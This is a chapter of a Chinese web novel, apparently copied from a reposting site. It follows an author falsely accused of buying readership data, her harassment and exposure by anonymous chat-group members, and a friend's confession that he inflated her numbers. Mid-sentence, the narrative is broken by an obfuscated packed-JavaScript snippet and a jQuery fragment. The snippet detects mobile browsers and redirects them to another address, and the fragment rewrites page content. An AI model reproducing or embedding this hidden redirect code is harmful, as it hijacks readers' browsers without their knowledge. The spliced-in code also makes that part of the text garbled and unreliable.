【你说没刷就没刷？截图都糊脸上了，管理员都判了，还搁这儿嘴硬呢？】 【这么委屈怎么不去找管理员哭？在评论区演给谁看呢？】 白碧溪不顾一颗芹菜的劝阻，亲自开作者号与评论区争论了起来。 评论区像一锅被彻底搅沸的油，炸出更多火星。 【嚯！还有同伙？】 【这谁啊？哦，也是个糊咖，难怪抱团取暖。】 【白碧溪？我知道你，写那种腻死人的甜宠文那个嘛，怪不得同情刷子，物以类聚。】 【跑来给刷子站台，是想蹭热度还是找存在感？】 【急了急了，她急了！是不是也买过数据啊这么共情】 【@管理员这里还有一个疑似同伙，建议一并调查！】 处刑的刑场，已从“檀檀刷数据”，迅速扩大到了对一切关联者的连坐与绞杀。 檀檀眼里包着一眶泪，赶紧劝白碧溪：[快把评论删掉，别再帮我说话了。] 已经经历过一次公关危机的一颗芹菜也没有更好的方法：[先不要回应，说多错多，等热度先过去吧。] 这一夜，檀檀睡得都不太踏实，不停在网上搜索“普江的申诉流程需要多少天？” 但都没有查到确切的回复。 * 岂料第二天，事态的发展彻底打了檀檀一个措手不及。 一个崭新的ID“羊角锤”，突然在各大论坛和大地瓜APP上，新开了一个更详尽的避雷帖。 帖子里，贴满了精心截取的群聊记录，头像全都是檀檀。 有她在作者群早期抱怨数据惨淡的发言“许愿涨一个收藏！”被解读为“早有刷数据动机”； 有她分享推文技巧时提及的“擦边”，被单独放大，配上红色圆圈，作为“心术不正”的铁证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138178|195315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ； 有她购买AI生成封面后的吐槽发言，被截取出来，当作“作品疑似也使用AI”的辅证。 甚至她和群友吐槽生活、开玩笑的片段，都被剥离语境，扭曲成“人品低劣”“素质堪忧”的证明。 檀檀的眼神死死钉在【普江作者交流6群】的聊天窗口上。 信任从内部崩塌。 这位匿名群友“羊角锤”的“杰作”，让她觳觫。 这一击，比判定“数据造假”的站短、网友的嘲讽，更狠，更毒，也更彻底。 檀檀反复阅读羊角锤的正文，以至于自己解离、脱敏。 “早在初期，此人就已对数据表现出极端焦虑和不健康的心态。” “创作态度如此浮躁功利，心思根本不在打磨作品上，只想走歪门邪道。” “这样一个内心阴暗、口无遮拦的人，塑造出的角色和故事，真的值得信赖吗？” 内心阴暗，口无遮拦。 原来自己在作者群中说的每一句话，分享的每一个鸡汤，都那么可笑。 檀檀感觉自己像一条鱼，被彻底敲晕，死死钉在了砧板上。接着，屠宰的刀会从鱼鳃处横切一道，抽掉鱼筋，剖开鱼腹，挑出所有内脏，然后被举起来向所有围观者展示—— 看啊，这条鱼，有鱼泡。 …… 事情还没完。除了身份不明的“羊角锤”，还有一个ID叫“月见草”的人，异常活跃地穿梭在各个相关帖子下。这人像嗅觉最敏锐的猎犬，竟将檀檀这几个月来所有找过的推文号、发布过的推广链接，都一一扒了出来，摊在阳光下。 新的嘲讽果然随之纷至沓来： 【果然没少花钱买营销啊】 【文写成这样，还好意思吹自己。】 【保护眼睛，远离刷子。尊重原创，抵制歪风。】 【已经踩雷的姐妹，建议及时删除书架，避免后续喂屎。】 其实评论看多了，也就几乎麻木了。一夜之间，急火攻心让她的嘴角冒出一个硕大的疖子，触之即疼。 白碧溪都快替檀檀发疯了： [你怕是自己都记不清到底发过多少推文了吧？！他们这哪里是扒，简直是把你的底裤……不，是把你的所有社交痕迹全都掘地三尺挖出来了！] “羊角锤”和“月见草”一出现，檀檀就再也没回复任何群友的私聊了。 她只是机械地、一个一个地翻看着群成员列表里那些或熟悉或陌生的头像。 “羊角锤”和“月见草”究竟是谁？ 是兔仔吗？是水盛酒吗？是咕噜咕噜吗？是写文也要双休吗？是梅子青吗？是栖川吗？还是群聊那两百个ID里，某个从未说过话的谁？ 她们从什么时候开始关注她的？什么时机开始策划这一天的？ 檀檀气极反笑。 看吧，都说了，不要在群里“脱裤衩”冲浪嘛！ 来自暗处的窥视，比任何恶语都可怕。 只是唯一，唯一不甘心的，是书。 她的书。 笔下的角色，构筑的世界。 她的心血。 “我好像没有保护好我的作品。” 这个念头乍一浮起，檀檀大哭出声。 * 檀檀联系所有她能找到的推文号，恳求删除与她有关的一切痕迹；注销了那个承载了她数月悲喜的作者微博。 然后，退了作者群。 系统大人的偏爱是最可笑的笑话。 数字世界里的“檀檀”，一夜之间，踪迹全无。 私聊窗口里，依旧不断有消息弹出，有人追问情况，有人只是唏嘘。但那个头像，再也没有亮起过。 时间一眨眼过去了半个月。 这半个月里，只有栖川，孜孜不倦地给檀檀发消息。 [檀檀，你快回复我。] [檀檀，我有话跟你说。] [檀檀，接语音。] [檀檀，我有个事瞒了你。] 群聊里没有她了，社交账号注销了，书也断更了。《她权倾天下之后》的评论区只剩下零星几句读者追问，夹杂在嘲讽与批评里。 栖川彻底没办法了。 [檀檀，顾己卿是我的大号。] [你的数据应该是我刷的。] [你放心，我一定会解释清楚。] 可是消息发出去，皆如石沉入最深的夜海。 他每隔十分钟都要看一眼手机，确保檀檀还没有将他拉黑。 帝都的夜色沉沉地覆在巨大的落地窗外，国贸的灯火在脚下流淌。 顾己卿背影笔挺，牙关却绷得很紧。 手里还捏着一大把悔恨疚责的电话卡……